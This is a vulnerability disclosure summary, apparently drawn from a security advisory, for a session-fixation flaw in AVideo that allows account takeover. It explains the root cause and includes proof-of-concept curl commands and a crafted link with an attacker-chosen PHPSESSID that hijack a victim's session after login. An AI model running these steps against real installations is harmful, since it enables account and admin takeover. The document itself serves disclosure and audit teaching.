# AVideo has Session Fixation via GET PHPSESSID Parameter With Disabled Login Session Regeneration

AVideo accepts attacker-supplied PHPSESSID via GET and skips session regeneration on login, letting an attacker fix a victim's session and hijack it after authentication.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: offset
- Disclosed: 2026-03-20
- CVE: CVE-2026-33492
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-x3pr-vrhq-vq43
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-x3pr-vrhq-vq43
- Tags: area:web domain:web impact:ato impact:privesc kind:research platform:ghsa sev:high tech:php technique:chained technique:source-review vuln:account-takeover vuln:auth-bypass

**Target:** PHP web application session handling (functionsPHP.php, user.php)
**Root cause:** `_session_start()` calls `session_id()` with an attacker-controlled `$_GET['PHPSESSID']`, bypassing use_only_cookies/use_strict_mode; regeneration is skipped for blacklisted endpoints with same-domain Referer, and `User::login()` has `_session_regenerate_id()` commented out.
**Steps:**
1. Attacker obtains a valid session ID: `curl -v https://target.example.com/` and reads `Set-Cookie: PHPSESSID=attacker_known_session_id`.
2. Attacker posts a link `https://target.example.com/objects/getCaptcha.php?PHPSESSID=attacker_known_session_id` in a comment/description/bio.
3. Victim clicks link while logged out; same-domain Referer satisfies `requestComesFromSafePlace()`, `blackListRegenerateSession()` returns true, regeneration skipped, session fixed to attacker's ID.
4. Victim logs in; `User::login()` does not regenerate session ID (line 1317 commented out).
5. Attacker requests `curl -b "PHPSESSID=attacker_known_session_id" https://target.example.com/objects/user.php?userAPI=1` and receives victim's data.
**How found:** Code review of `_session_start()` revealed GET PHPSESSID acceptance bypassing PHP session settings; tracing regeneration logic found the blacklist bypass gated only by Referer, and `User::login()` showed the regeneration call commented out.
**Exploitation:** Attacker pre-obtains a session ID, plants a same-domain link carrying it in user-rendered content, waits for victim to click while unauthenticated and then log in, then reuses the fixed ID to act as the victim including admin.
**Escalation:** If victim is admin, attacker gains full administrative control; can upload/delete content, modify settings, access admin panel.
**Insight:** When auditing session handling, check whether `session_id()` is ever called with user input (bypasses use_strict_mode), and grep for commented-out `session_regenerate_id()` calls at auth transitions; Referer-only same-origin checks are trivially satisfied by links planted on the target itself.

## Proof of concept (copied exactly from the original report)

**Attacker injects PHPSESSID link via getCaptcha**

```
https://target.example.com/objects/getCaptcha.php?PHPSESSID=attacker_known_session_id

This can be placed in a video comment, video description, user bio, or forum post — anywhere AVideo renders user-provided links.
```

**Attacker hijacks fixed session with curl**

```
curl -b "PHPSESSID=attacker_known_session_id" https://target.example.com/objects/user.php?userAPI=1
# Response: victim's user data, confirming session hijack
```

**Attacker obtains valid session ID via curl**

```
curl -v https://target.example.com/ 2>&1 | grep 'set-cookie.*PHPSESSID'
# Response: Set-Cookie: PHPSESSID=attacker_known_session_id; ...
```